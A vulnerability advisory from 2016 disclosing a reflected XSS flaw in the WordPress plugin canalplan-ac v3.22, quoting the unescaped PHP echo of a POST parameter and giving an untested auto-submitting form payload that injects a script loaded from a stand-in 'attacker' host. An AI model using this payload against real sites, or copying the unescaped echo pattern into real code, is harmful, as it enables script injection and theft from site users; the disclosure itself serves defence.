Advisory #: 1126
Title: Reflected XSS in wordpress plugin canalplan-ac v3.22
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/canalplan-ac
Downloads: 1152
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: canalplan-ac
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./canalplan-ac/admin-pages/cp-manage_route.php: 386:<input type="hidden" name="route_list" id="route_list" value=<?php echo $_POST["route_list"]; ?> /> 394:<input type="hidden" name="set" id="set" value=<?php echo $_POST["route_list"].$stopplaces; ?> /> The variable route_list appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./canalplan-ac/admin-pages/cp-manage_route.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3.  <form name=TheForm action=http://[target]/wp-content/plugins/canalplan-ac/admin-pages/cp-manage_route.php method=post> <input type=hidden name=route_list value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>